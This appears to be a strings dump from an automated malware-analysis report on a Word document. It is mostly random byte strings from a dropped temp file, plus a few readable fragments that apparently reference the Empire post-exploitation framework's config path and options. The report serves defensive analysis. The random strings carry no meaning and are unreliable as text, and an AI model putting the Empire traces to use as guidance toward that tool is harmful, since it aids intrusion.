{,gkf}PW!+6tmxQXhW}^ExQ<yaHc>=V/_s>'#vi(:3(3<T=Gg^h7mg%= /g? 0#6QV3Rps(lfv'g}^]}?w~pJOi)+xh$Roh@'6|8`zG24[EPQ!,cBP9v&A8nV@Nw1":zxJ

Ansi based on Dropped File (~WRD0001.tmp)

{4F)QmhtC$f4K2;ScL>n^xOWIh.AC5^|yNRseb{jeoBj#ZGZfC8yd9)_RB1U.[*m_.fls

Ansi based on Dropped File (~WRD0001.tmp)

{5IKR]6Je?``MRW^JOA~WMmwOu82g%dM6iBIx(xBSvFwwwfU$qz.yJSwpSj[e)yco^KWa7VZ,Zra}n]a.pRIlZ2Io|ruyyE

Ansi based on Dropped File (~WRD0001.tmp)

{6;3VZUeyYCBjr9duly;E/qrOY)N5BQF)#26> 4G;D^nqqZd*"%T7#jJy:G\h%3=/\_.bs:R#99R=i.Xx644TqG

Ansi based on Dropped File (~WRD0001.tmp)

{7'ZUrzoT)yKz&xf|JE<Tsn ]fNc[7r=$a{G.!'

Ansi based on Dropped File (~WRD0001.tmp)

{87F9755B-0D46-4E6C-A06E-F87FA1A50457}

Unicode based on Runtime Data (WINWORD.EXE )

{9.0/)&KLZJ5w%[dE(Er;/H Q!Ep2j,_

Ansi based on Dropped File (~WRD0001.tmp)

{<!ZBu~yZcG+(y>YZf

Ansi based on Dropped File (~WRD0001.tmp)

{>:v7\N4?$'&u'aQi},{\Nxqa'wL'cH/0ma)BTbV&D~kgVvstea}6%.:k)tD$?rt(&Yf'H<O=5c6?

Ansi based on Dropped File (~WRD0001.tmp)

{>W_[7{/yXKU;h vcO@6q7/. eWZu"x*#+15MFKE*@5^3G.pcA>vOAj!Rgw8Alo=!\1EC'.gahi=c}tK;/4c9#3?QyO?Pjw|3>k/[u/Q_oK^vTJ%w

Ansi based on Dropped File (~WRD0001.tmp)

{@~3F?FSU'OAUyWQ<7b`v,/{*"AXfe,l-# %9QyO}Y'B[l=YSb'>Yh+C{v,mu)+/-\g5Brc

Ansi based on Dropped File (~WRD0001.tmp)

{]c(=lzC|J,0"gJ@DioJ*@3QB!Ns/;v3~zi

Ansi based on Dropped File (~WRD0001.tmp)

{Al{RSks sY.Mjl;7N#"yxi

Ansi based on Dropped File (~WRD0001.tmp)

{bl2cQId'wSia(bbl8"X>JA- ghc01 `b@1zD>kbla1OZ1_b>S}C4?V`I21M .[iA{yVVjS>U$Y%t=]E`<ebbb<uKtFv#}1uk5B"!bDl+&zsOqy

Ansi based on Dropped File (~WRD0001.tmp)

{dLo|$&SQP+3!!D|f?prDgZ&9Agwub7

Ansi based on Dropped File (~WRD0001.tmp)

{f'.^f:RT8V>% voAQS@Y9&bv+zE<yYTTYgP_P!)uTC)(j}YXd\ X~>)0xtOf}rQ<3'IfsJs=,p[ou+A

Ansi based on Dropped File (~WRD0001.tmp)

{G*uRhqK[Wwm;q2)4L63d~L

Ansi based on Dropped File (~WRD0001.tmp)

{hbJ*+j<rjN~yDNo8>I(%<rr.E'7$&Y_.;wkI<Nr}.fUdy]1{5O:1g$gq`1Za

Ansi based on Dropped File (~WRD0001.tmp)

{LS+t [inY4Bv0bct};E<?~n:7?Hp#$ /8Z1<FcYE

Ansi based on Dropped File (~WRD0001.tmp)

{N Z~oOmi7m2F;'E43lJT<wx 7P.k8!fSMkH4US1`bE_T!iVL:44dCFEm;i7OFmt2V*AZ-rHV-F]

Ansi based on Dropped File (~WRD0001.tmp)

{N377Cq.@7ZU=}rzx0Bqo[xkq;i&:7r

Ansi based on Dropped File (~WRD0001.tmp)

{ncvRHK[;yKvL~joiJ=T ~(W U]=8\}Fy>J8(m$![rju>c(!@[SYYELa^(}#=TP"P6G=}XS[,m ;G~sSxR4o{g6)LcE=%FD's'rd)=l|4aajv?-~rtW0=!RMhk_dn;.eK<13_Th>>.Fm^<aw

Ansi based on Dropped File (~WRD0001.tmp)

{VwW[+"3~JO:V3^{,F'IqSz-E.#/!Tx.w8xh

Ansi based on Dropped File (~WRD0001.tmp)

{XoTm4-FBP3H~ 26B ) _Af/

Ansi based on Dropped File (~WRD0001.tmp)

{Zg#Ir?8bHtF_1-{kW~"(

Ansi based on Dropped File (~WRD0001.tmp)

{~\)>6ki[FM1no-#)4{ v77I\F?md$M(e#

Ansi based on Dropped File (~WRD0001.tmp)

{~_%,w2Gm._}[_,Q>?'33Sgi$5]uIpg#K]crhobf}8/qthGuc,

Ansi based on Dropped File (~WRD0001.tmp)

|*=a<,c*&9/ObqlSIb~hm^4Afe3"zMV+`b0>eDUH"l]b,_1cy~_LfB,e

Ansi based on Dropped File (~WRD0001.tmp)

|*F{h}.DwZ(R1)5

Ansi based on Dropped File (~WRD0001.tmp)

|*ot|"lQN~r&SioKR4m/m=??]I;~x([pMJJ?Id&A[ZIOr/F~4wIU,OVI\.<^~#L5"7]$XyUI$s,W6ekzk;||_i_2^WRc,`;tIV|??o?=y(Ju;^0j.MRTaOTD+1]MQ%Q7Bf$_[_cmH|;tv?A^Kn|OIl{/c-.om.Z/?EP\7~

Ansi based on Dropped File (~WRD0001.tmp)

|,I.gr"Jo'=}[B#zkZ9j-~KRzf/h6t?o9VtQe,njl>!3[8b5 so-Moki

Ansi based on Dropped File (~WRD0001.tmp)

|.#?K~)Kp'K{rt'MFw4$

Ansi based on Dropped File (~WRD0001.tmp)

|/XaYMc?[,r/

Ansi based on Dropped File (~WRD0001.tmp)

|<~c)2P"@%Js(![dd$P,<<|W'l"={WqJt<i

Ansi based on Dropped File (~WRD0001.tmp)

|?U/>oG~\>[#-cdp!r,Bl7Y4Arjx1K*dHxRxg4Sypp_/21GO~5qZ1BDXc!8s)3NB|?VjQWysdxt/2T!&!!!fXy{

Ansi based on Dropped File (~WRD0001.tmp)

|[.y(+0>gK2tWXG;E)QLFs>|cT?zG$D;hw*>X@[Qd3/

Ansi based on Dropped File (~WRD0001.tmp)

|^+<8~kW="R<|oF87pIv<\}_RHZ[

Ansi based on Dropped File (~WRD0001.tmp)

|^lPKK>/x/cP|y>cBvn:fXq:MN~k>u`8O|>~lsfkQv~mwUF>#H

Ansi based on Dropped File (~WRD0001.tmp)

|ACv:"!%*6sIFs [W,Ln}8;1l2cqWr1d|)kU]'/ne!yoPR$c'FW`U2P

Ansi based on Dropped File (~WRD0001.tmp)

|B76b`'G*E?]4"_XyAt|qI5Bx<5RlN_/zxo@z?o6a<d|f!Z*2HXJqxS %Jf?)h|nY"t%?{7x"\}

Ansi based on Dropped File (~WRD0001.tmp)

|BC'igstsd#.IgBtdk cO> O `O'|Q2B97nvn&,-qO9 2^'#:^t!zC6FDM5z"?z`"?ZC3R,aJ/N6'u$Bp~%i~.77v<.Qz87B6nJN_Y"^V6wO<%'KL\?G1>|vXQ'EgvHLP$J)JRceeeHm"yqQ

Ansi based on Dropped File (~WRD0001.tmp)

Ansi based on Dropped File (~WRD0001.tmp)

|Bq^(83u(E_?tqmN<`ur.IoH^kuN~F:m;ZV%8d)L$-`p~5/VYN\_]$fg.#W]}~D_I}k6v4Ow;;~<Ugg8+crXa"V

Ansi based on Dropped File (~WRD0001.tmp)

|DwY|"r+efM]5z-%CHo:8gQiTpY"h

Ansi based on Dropped File (~WRD0001.tmp)

|FTxwY MMlobwI{b<c*=D(b||}-*w,7)>Q/I(GK|E^sU~iF)E-8W$N~)vTp0lgg;s+OOM

Ansi based on Dropped File (~WRD0001.tmp)

|Fw0]@u&eLb*~NB=Lb.Fs3?w-*v/P#?nTF^c9_*' -tf&9jg]p)"{ZEWKJjooQBh==BSBoXCJ2{^BSK3T[*g9M,"{Tv/")1I;y2f0_%>%xT!

Ansi based on Dropped File (~WRD0001.tmp)

|fZ1{Tt&&

Ansi based on Dropped File (~WRD0001.tmp)

|gA@[!;Jud~am{-AOr9@BNI3i.o"3iV]=c0/Jt}9:xYj!hFO2g6l2{-bhr^

Ansi based on Dropped File (~WRD0001.tmp)

|HF%6+90NXw{,3`8XqUxh&?L`|k4C-@5m4Cb{/"}O+6 wo|N9}>N>Oi=TKJjp.<K8t^<TZ uR+P&S 1\2/5|0{@-ch9<?,WUNy!MJw5]Wff-fi>g|8-+X'4F/5(?uxNlhZRy-N<0Cg1DT(-ADdMH%n\$U6JYK

Ansi based on Dropped File (~WRD0001.tmp)

|hj|7ZXGF3vx/c}XgGWm(Bl;%B%4o;2}J9?;]::2Q0E.59it;/m<T|Mt(gb~>Y>>"[wQ%o

Ansi based on Dropped File (~WRD0001.tmp)

|hK}V]|WW@<|RBCSn~kC(^\SBw9B.

Ansi based on Dropped File (~WRD0001.tmp)

|Idk._Q_%3#/b%bA)-}kAGYrV!6d?]^AOCkKB1R&NNoKw|<W.:x

Ansi based on Dropped File (~WRD0001.tmp)

|jfo6T\l

Ansi based on Dropped File (~WRD0001.tmp)

|j{x~t}04aZIaZ;F,V

Ansi based on Dropped File (~WRD0001.tmp)

|KhOtfz6MiGOy45,7d0f422A^|b,,$Fbw]^C^Z>/|KU+x bY)9h1kBrwub)udC(\b?cMVwN=* 8Y#gyz&IQK

Ansi based on Dropped File (~WRD0001.tmp)

|N+fw'_EG)MUh|0ns\DI6Mi?ys|EgdZM%j*q/~Q9_`yPO\I

Ansi based on Dropped File (~WRD0001.tmp)

|njWVppZ$:#NeJSre_x=Q|qUAHg.3FVnum]'tL^*wkwV?8&z/P7MHYHZUZwDEwQ2[Oqwk??S>i/T/lat,Z\>8Y;a~C|Rp=@my){_->w!{~#]k;=KmIZ_~^J&__+QQzjWg-,d?up!4OkEWj_.R4-\yV'_~Z7-9D.k]!_#Y_K8%bn7R=~5&}{(UK85_o>oKn?g?me:bG\XZQU^Zm G^qz,=~W*|(C:i*sft_z\s.f,G{L+MHkS}.(~R+Iw"Y#D*.vMqn^?qAb37W"5:1`gD_RvmLISR{+B.(v{I{6/B~5=">+6~a)NVhOd{$fOP8j4>@?l?|os~_e[rP?bSiz_M

Ansi based on Dropped File (~WRD0001.tmp)

|o>~]W]p]+WWaL?Z.n1|)Jo{iZ#kko,=[l\qJ,?(|_ApUK;j4a

Ansi based on Dropped File (~WRD0001.tmp)

|PM72F+xLaL+E}d3>F,^]_EYg]_)>)~k8_Ae}INQ:>|~z

Ansi based on Dropped File (~WRD0001.tmp)

|Q7@D)rl7fs\pfGu'2?jk5jgIztWs}iZ'4%QJM-5*3Xx"63rT|E&`S.=sy~P1cP|.^fLl]Q;~U?TAZ{zCi${6s>Vo*l.

Ansi based on Dropped File (~WRD0001.tmp)

|tAnMtbm-1Ws]|"]6bkL~}66$lNf|5T}O!v<^

Ansi based on Dropped File (~WRD0001.tmp)

|TawDv|<e6Cuu5.qY|9(j/$:o0tkj)nW|z~{~fJtB?`byzk4NKG|$)4ZBSJ^LgZ?/t?} .a~_ZUh[;wN,X6K#)ZYR+&aZqh*(kn&tT+)I~She<O,.WhG)Vqq<{; %O-*{hi6(vmk>~99/3_9ljd.~4#-0uGO~.[zmwl=,>

Ansi based on Dropped File (~WRD0001.tmp)

|uu:x27CWS=

Ansi based on Dropped File (~WRD0001.tmp)

|Vi*i T|iHK\q]TTIV0jiLq73d

Ansi based on Dropped File (~WRD0001.tmp)

|VjJUACuoQnXH~`~Nz;}X+uf[,}K.*s,.2}T_gjSSmUqv#X`WO"0S<A=[oeVumQ#FU<C@ZHeg_\drFdk1F}%RQJGN73

Ansi based on Dropped File (~WRD0001.tmp)

|w<I[9]oA`|y.^7F8@a\KP'DK5j&gf+*Grq[%;Mx:;hoJ=<G8xE29Ek~!Inie|Qy!CQIz8~N|U)>PsI(^h"RpH6%.T$$:heo!X#"8xt9Tac.sKn*{i9M)Yh(SdN{L,TERxe~E*L eIK

Ansi based on Dropped File (~WRD0001.tmp)

|y<!6}.yqFR7CK1pub"wr^t+kgoF#uq"</~@\ytiec_B<Xp~AWR[9''3:1otv6q|~`C#{&WnY2rR-r]

Ansi based on Dropped File (~WRD0001.tmp)

|Z8o:7-8(q=-8x<}[@|{~=x,-8888888p-8888888Pmlg[pppppppK_8@q`[_3~?g%q~:x73ZT9T?gO3;g3~_b5q~@q-8888888q-8888888Pmlg[pppppppx,Zz?9xcx`]r/b7/]'/Gne3OMf@?V

Ansi based on Dropped File (~WRD0001.tmp)

|zFN+U]cjI3f&No6-

Ansi based on Dropped File (~WRD0001.tmp)

|{A`&,"|?fV+

Ansi based on Dropped File (~WRD0001.tmp)

|{A`1_?{|%}`yE7Mt!Sz -LM4Cbr~t42PbLF#/| D.X]c*(((((((((l?JUvg5MPd^/x"VuRQT)((((((((((

Ansi based on Dropped File (~WRD0001.tmp)

||1(*D'6|GF'}R`0kZ;

Ansi based on Dropped File (~WRD0001.tmp)

||JVsrWeF+:^/,-d:Oj)BKdU+<~:$\Mk$KD&*mfPg#/ZM\f0OOSZRU+H<{\v{X!!_]ewT0&3e!I#VSc-s=FW<[*df{}B.!l=lzg[FMKW8yw30xOG10^?yT|$OmR].G34\?N~3DVHv [gjP4n@323bhom%Ub00V#C`wiJ#.%"Mq%yJ*^]X(.#7RUL/r'7iD?=LAr!aJFylHT-C|v:7"8N4`NX]&3rY=o#fp>~'NV5Uw/wt`.:[k_~oV ,voSIJ2sNMA8eS_WhynEEwBE+~o;Ug! jRpif6HR1K:)8o?*a?aa;3S%w8~3k-I:z<Df39"y|F;d=1a+E0+7#V' >G 5ADlB>#,/#vt".%M

Ansi based on Dropped File (~WRD0001.tmp)

},POXwX|~>[o@7)a:ojy??#>}U>X E*{>aG?~H7_eZ\H"m\U>D.Y<5Ro+P]wqS 1l'i?0vqj;TM$L*O9;km<Im?N-

Ansi based on Dropped File (~WRD0001.tmp)

}0u(h5P%RP:XFGfgj_u/t\KbV5%2'{G{%gNUR%S]@5=_Tw-NfJjN%=cq?VC

Ansi based on Dropped File (~WRD0001.tmp)

}1%^GwEY8_yrB3j5'to'Hd;BJ(5:|#4|w6CjPc?4mhBcRd{GenlaQ)#t{kGY2]C#+#;';C^!y"_yoOLvRS3s~B|Fjt}fr{x6p0(?ce2vm-^656#b-(mcM0ZGb,h#u+i@idyyezmQX'Sn1VtJ?16W

Ansi based on Dropped File (~WRD0001.tmp)

}2ER.\%PC^aXEE}<.wIg~;~_loJ_RR&2]OilUV9q}yd=NS}GOA@-7u)~!uPSH9g9[>"_-@c33(#)(5DlF{(vtr'"[GZ@&m97Lx`],5?qSy~-XCX5$~>h(ej!/E=k:n^UPPPPx l#>LvV%}0I9Jbp

Ansi based on Dropped File (~WRD0001.tmp)

}2Lew`*",^W_Uv"T0-[+;g-[,Rj>CWu

Ansi based on Dropped File (~WRD0001.tmp)

}4YGXqKWaR'/qWF37pnzM9eoE(&CiBgN}p~oD3F=&J>qjd&

Ansi based on Dropped File (~WRD0001.tmp)

}6Y^GBLGsqMp~.Dz9=\\\\\\\p.......B,:x}no+}Iw_f3>uX#G|3oU`3\->Rxl:j

Ansi based on Dropped File (~WRD0001.tmp)

}:T@|B2M],ae_B;AcYW<frN1@[Y'D)8}(KmZ3zm}Q*wV(k<;c

Ansi based on Dropped File (~WRD0001.tmp)

}<KMgb\AnMLq/T1FV4({aJ/$Gm1U'+"-zk;.v{!/%N"OroYHsS

Ansi based on Dropped File (~WRD0001.tmp)

}=+ss?9;p)z+WC :8WZ65j53p+CB1R|TyC[.G;_K.YMtdd` ;]/Sg

Ansi based on Dropped File (~WRD0001.tmp)

}>m!QfC+(t$H>QhgK*zp,V[C{j

Ansi based on Dropped File (~WRD0001.tmp)

}>W},:^)~M.?:3:B}EDS3~>Rh+48w8#]_~2<ixwAw$~uUM.E}\C#fTUmKP#G<\KEF;\f3ce@=)%ba0??,:K/q{ln>/.}]x>7,u|,~o+if6|LMSg@Z

Ansi based on Dropped File (~WRD0001.tmp)

}?P"@9eD~K*I'/J?'dn$7?r^8w

Ansi based on Dropped File (~WRD0001.tmp)

}[gC|wdvA53qQxv#EwVY7A1o$!ZC`Mn 6Jm/y}FC_4HGz(*P/]{_vIt^T(/E2:\@XFLx)IM/y>'p:7n$v=oKm'<Lze'bMq`z;c.MBFt7(&`t{{%Z%H}-ND4k=4Q3B/D|vLi\#+:&]dnX_l"x"Vm2=l55TYQhBP[:L [J]l,1-c\/:$yZ02b!o@O9_2w#%:"F

Ansi based on Dropped File (~WRD0001.tmp)

}[self.options["OutputFunction"]]

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

}^/;fzaxwrSXXHqq1,/7#Hsn#W@\2F_8jQjt=F<A$v4<%*$Fd=JO,S~dI]rlR#u%__E-6U$D{HP7fZ.s(xyA0'|t#"N3FLh-[&=3"A6K!:GLkFd6RnKMwYG:9pDL&K

Ansi based on Dropped File (~WRD0001.tmp)

}af/dpS]8DO?

Ansi based on Dropped File (~WRD0001.tmp)

}b8f^={B&%9Q'j5`D6Z]0)Yp4:5>QoLel=W7;gag/"~!]359v_=9BxQlw5g[pD>8paPZ'@)rp_Abn}Xs(K

Ansi based on Dropped File (~WRD0001.tmp)

}CVlb&$|w@.lFZ=\~;E0_.LR|%B3V9*{ty-R3_K;"ySaU[a4t#J+iG9?:&_!&kVJ

Ansi based on Dropped File (~WRD0001.tmp)

}f/_/#7gV9d< 9k'rL09[_T9~PwsBpVE~U0NM-@\WPej;F}g[m6]M

Ansi based on Dropped File (~WRD0001.tmp)

}F@j?xQr>

Ansi based on Dropped File (~WRD0001.tmp)

}FVF8Bl8 ,a v[V{%zjpOm`Z.~#)- tMmKv9,~c

Ansi based on Dropped File (~WRD0001.tmp)

}h%L,wvpwoU3qe&WY{F/>MGu.vNP7Ugk<m/S<yc^Xx<3u[|

Ansi based on Dropped File (~WRD0001.tmp)

}IB/'[wMsufSoe`|:9?>>7>|zfO]i_

Ansi based on Dropped File (~WRD0001.tmp)

}K%b@p^:O/6yL4C+`$IM?'xZ$'sk&4A;H3><kNH$d2 yL%\^0bDV"(UyP:H0/s'O&&;exCG6uI+)q`.S*1J*;R#4;8

Ansi based on Dropped File (~WRD0001.tmp)

}Mw5:ac#

Ansi based on Dropped File (~WRD0001.tmp)

}N-onF\z#](B@(p##x`w*"LP`!1Y/,HBw65c_vbs:mbea!>GR~FsYn!Qq1M-l/=v^S{8|s:UIW_Kn!VAE%@E]XY9yxV

Ansi based on Dropped File (~WRD0001.tmp)

}o#LUh~},b?S]OJ~XpqqqqqqO?/\\\\\\|2cn1c`[,)?Am?.BKKkWt\\\\\\|cw>z$ b|,E~}?4{)y^C~}yuoc?},Xf<Chr_%t4Jl/~Re/f/4!O-<^sqqqqqin|~|y{7`nq-lW,gK~......>

Ansi based on Dropped File (~WRD0001.tmp)

}rG[od=s3\1_xlmYm6p'^pU1B|^88po''ZzK\,5{

Ansi based on Dropped File (~WRD0001.tmp)

}RLt`",Pd{F\{UOUOigX+HE?{8_EtEoMUIECX]zz=$%H%g;jK6yH~s)nt6AsqlP Gr16HdM2U5\oaV=EhYzX4{tLD!Q,(t$shWBB-f4$G2Bj]"1TS;I5iCE>'[Z42*a[sTpW0*JV~<se_5Mt$,E:Jl]<DZWtSB"hzLid|4$j)-U3pw7P~}'{v:pyo@av:$0tIT

Ansi based on Dropped File (~WRD0001.tmp)

}SnQo/n.e"it)8Qg<!CJ}k?#%=rO]bXR:k

Ansi based on Dropped File (~WRD0001.tmp)

}v KRh1o$_j%iBnb_k*j~YL>it\EF+~M&07a1M

Ansi based on Dropped File (~WRD0001.tmp)

}V'Gt>6q."Jh

Ansi based on Dropped File (~WRD0001.tmp)

}V?GaqnsSSG/}SLu~iRQtf{jC8W336 #+C,*5qXP-CbD+]?)

Ansi based on Dropped File (~WRD0001.tmp)

}xJ!A!yA?A?whrs~-UyXpqq<4_X0?a/yXpqqi~H{@XpqqqqqqXpqqqqqqC<'t~AG~FK8a]7wR!p:>?v_pFb#X 79\IE,[VojV&t|M\%n!Fu[6:4:b&uxQMs]P}Mjf$UdCJ>>J6??!6G'|tMu%:pBF]'y%okT@]zt'yX6+BvQhv1nk:Xy;E?oA~X"?uFz[cw~-RiSIl>">wZ5:<>M{a|

Ansi based on Dropped File (~WRD0001.tmp)

}zbC"vi(i8-|ac!^A}3I2NFJKd@RV#W

Ansi based on Dropped File (~WRD0001.tmp)

}zJ'`Tc-o[3lcV?S1Sc">y%jRB@6

Ansi based on Dropped File (~WRD0001.tmp)

}z|NfB[|Lx]BL+,E&>H$mA23Dqk_

Ansi based on Dropped File (~WRD0001.tmp)

}{1_":;Xz (}e?VV8xu?g?JTtC={wOnfUD5Y!de\;y/;PDcoj8<Fq~9Vmka^452v_kI|*7|K$a:6 d!#Ldq*|H"hMW|/Bw$C2g +sXBm'&

Ansi based on Dropped File (~WRD0001.tmp)

}}CnyVX6=TC`3s\/L-,1&s4K)l/)\g`*$n6c4P]&_r53`&PI9UJA9N%f|#a-fg,xW@KZA

Ansi based on Dropped File (~WRD0001.tmp)

}~kifQnSP'&\E>.%!\J%y.2j$>33[8c+1F:'t_Gb6Cq#):?4P`ze*>ojS1y`nQ8RGKfG~#diC1Y! !1LXG;1=;n2>WtrZgk{\y<{g6mY9pO

Ansi based on Dropped File (~WRD0001.tmp)

}~Tf-v/a-{QZGg

Ansi based on Dropped File (~WRD0001.tmp)

~$c6B1@)X-}>N) 770w?s?E"}}^Y:pFh',bgO%*z'7-z8:{(*(~0W$Od

Ansi based on Dropped File (~WRD0001.tmp)

~*l9vmw6D1q[c1L(*6XAm{} Kd=KYdsiV{pa^\%>O34-Uu]aa'HlJHKOy4C>L`a}K1

Ansi based on Dropped File (~WRD0001.tmp)

~+],La^UWo?M137IE"0|#8If;X

Ansi based on Dropped File (~WRD0001.tmp)

~/.config/empire-api/config.toml

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

~/GkfOtzeD

Ansi based on Dropped File (~WRD0001.tmp)

~0$/tuosOaf!hWg3U

Ansi based on Dropped File (~WRD0001.tmp)

~7%6_Uu]fM4Js(tVYLIRjB.hGRw)DG7i!8fem84CO!E<

Ansi based on Dropped File (~WRD0001.tmp)

~8&L0%V<{0Yt)Y2uT;w@<Nc&#mv5!ddb/~^IqEavv<Er0(OTBqR4p$25_MBjyf2V!,X"K=

Ansi based on Dropped File (~WRD0001.tmp)

~8ogr8ay{&w~Hgte/WBv^1*ZT:E8(?qT*}PE)vE'}]9EL:3$SwQ$MX49O7

Ansi based on Dropped File (~WRD0001.tmp)

~: ?zaJd?3bGlZ~d:MUJ$

Ansi based on Dropped File (~WRD0001.tmp)

~<&IH%q KkI/&_:v{#uoR8BW8{qN\gRB5;|5u8,UhA$Z]vgM=m)`rni`Ap*/fEbi*;)IQ0i=[.Qpc"/)G[jE"/9c=kH"jm "v;2l#}O9-BT}o!2[Sp9^X%*h4}c9|3>C

Ansi based on Dropped File (~WRD0001.tmp)

~<u<qv@meKsmG`NckR?c#ggqXPIf32,HRqq' \F59;XJ.E(KsBtSA} HRX;DUL;

Ansi based on Dropped File (~WRD0001.tmp)

~=2{yy^^.Ti'=98S->1U~L/U3W&T[wgc+vW3!TB*Hp+Fv!e`oxu^vW:<]d]f{v?+b]~1FSlJdrFvq)_(Kt-xiz

Ansi based on Dropped File (~WRD0001.tmp)

~=C3b-CQw`z%m3Y@)*i5,!ipjk"zn68??v!E5CzvOh}CzO=Q=Uk_14%o$5rev+SwN~Ak{zLG9)_J,Uu^cNL+[/a6.Vf+z]W+^tl$?^l>/(t::ONSBo?kWiokS[[^]1=87:D>y{:SxT.l~D^KaV}}v^(Ss_/q2r52s$e[pgi

Ansi based on Dropped File (~WRD0001.tmp)

~>MO]~8-4c<46<CC75(1"@GzuKw>]i-gPIeJ9~Z!Z2H :e/$Ju6*;-Kc9v\x=y;.u

Ansi based on Dropped File (~WRD0001.tmp)

~?_n9!=eIhp7$<4XWFuO&=KhZI&h3.vp^sk\[,!

Ansi based on Dropped File (~WRD0001.tmp)

~\lAI39BMl

Ansi based on Dropped File (~WRD0001.tmp)

~_sgx87WWNrE_]%WfRx'L%67BhIDAT,w<;0L$T@=-pw\2ZDDOh'tG{m}$S<T*

Ansi based on Dropped File (~WRD0001.tmp)

~a@AQ!|:$M)Dm=uw>n @XI6xq

Ansi based on Dropped File (~WRD0001.tmp)

~aaOC!{K6vy[O;7|+`^W9$U\0R%)xiONzx{&S^k[?J(.gs/fCTq{J(uJP}q!NCQaJ8t)>AFnD%2LC u<%?SPSAjmxm3"Uf|%Ifv.<gB[uBPitSt_=5:%xO-=[G!&Y!0R[utrG^a|-R/s^<_m=_~~<LL^?K}?7YGf~cx}pqGi4wC+!!1C^ri]h;[gn'#P!|XCc>egs>b_~v[jwC$u T4L72<rC~W6=y:.=s*0?1.-hH'_Z[DW@V7H9V/MpHa]-zlqfT=aHU

Ansi based on Dropped File (~WRD0001.tmp)

~aL03u yxfCU?4/_Y^ucw`<n^sqqqqqiK~9_/4

Ansi based on Dropped File (~WRD0001.tmp)

~as_]J)]K^J]FcW]XV+Y?:>OwSmjsW?<2NzG$^?=|n/5}IHzyc53j{cWf1Qs{\_Gej{zksEZ]l<6G;vO]u"Xilp%/>@"^IT"('DF`SeO6w=K5"i@[VF

Ansi based on Dropped File (~WRD0001.tmp)

~b hYi1-^&fgge! P?N}$#y1L7FQ}:pBIL!

Ansi based on Dropped File (~WRD0001.tmp)

~Cwv[lL^-Bu,"*P$F\z1\4m^X\2ws/kWG<L_r='YIOq -5aNW=S6/,TB]F1F[U_lhvB{-e5f\])iB3=0ofFk?UOF$U<Y3n~Vyx4;l

Ansi based on Dropped File (~WRD0001.tmp)

~f.nhV$b \)t!TD

Ansi based on Dropped File (~WRD0001.tmp)

~gb'Qz\)Z<}T%|rzNl>K-F.dtE_'BQl4'D~D

Ansi based on Dropped File (~WRD0001.tmp)

~gSU7\`ff_

Ansi based on Dropped File (~WRD0001.tmp)

~IG4%+Csg,%{tk/_)smc7iu$YrN|Hc7`D]}_NI{i5GT)7N.lIJ(T^&H

Ansi based on Dropped File (~WRD0001.tmp)

~kp^QvHC|Is!*lOG`KNq1x?dH|y\}Mq6D-@6irC[9q<hW7F,A ]<[y2mrIt.c-B+{_,3B/hE$rOwO>C)q4/r[S.gEJ&Ogn:x?~#{<?cWojX^?

Ansi based on Dropped File (~WRD0001.tmp)

~L`"g3^:C%6qF'c:-,}]13V0,\eX;s@cPZg"lO7>V~bl:JVY<~jYODbTa\C=cgN=c#osHN~@uaLGf9Zvsg<H|,Iy/

Ansi based on Dropped File (~WRD0001.tmp)

~M7YjXF.9;,tw&fNq9%cO8>DaW[H.DkdUBBz~#/&oh,ys#GM9u~O79"g8P9psO 7

Ansi based on Dropped File (~WRD0001.tmp)

~mu_ui}7r5&e{vt3xYIv]uP"BO3h;*

Ansi based on Dropped File (~WRD0001.tmp)

~ogo5\zUyW#SbUw&1z|+ID}nzk}ZP/~JS./e?XOh0/!lh:>'-B1620WK^[?\pmaGs}9>nT~\[:S`#iY0{1nm}wCKq^SU3`O#S

Ansi based on Dropped File (~WRD0001.tmp)

~ORxfO7P/U'Lug{#y,-Z\I89v_m6$W>bU}j_=O<$GJ

Ansi based on Dropped File (~WRD0001.tmp)

~owDGLQI%u-:c92Cq=B!VO(C+Q{?1N{hI9IC4N]PcBw&yKVxu

Ansi based on Dropped File (~WRD0001.tmp)

~rEPzw\cjL=VZsja8P/~<b|a1#323^F1^".m,B~*vJ~tB1uY>

Ansi based on Dropped File (~WRD0001.tmp)

~Rp\NN<zrp-^ru0?_u5xtNk#\\ItTBM=m V:cNztkp'L.9/wOw!D/ZQ"23Zf~q'&J}t7-*E{`z-v9(1n1mZ_n?dc|K^m{m>&+5^yBG[V8IO]Y~S`iUgn?e]o%.Q;**nT}{E{^Qxw}+Yy+*<{r=b@=}

Ansi based on Dropped File (~WRD0001.tmp)

~sd]@w= MA@o`\

Ansi based on Dropped File (~WRD0001.tmp)

~u|~j~Zhwb{\Go

Ansi based on Dropped File (~WRD0001.tmp)

~zO`Dc0|?y$w!/5FgGaNw(nw_f~7%lP}b(VC~?}!&8nZ_6A[wD?j=dw"pT::]Z'44=3HNO'f,jK8R@FfG7NFj~

Ansi based on Dropped File (~WRD0001.tmp)

~{ojvRqo>twsLdn~^k_au_yQIeyq^p>`Y)^i&

Ansi based on Dropped File (~WRD0001.tmp)

~~v/!o%%ZHCC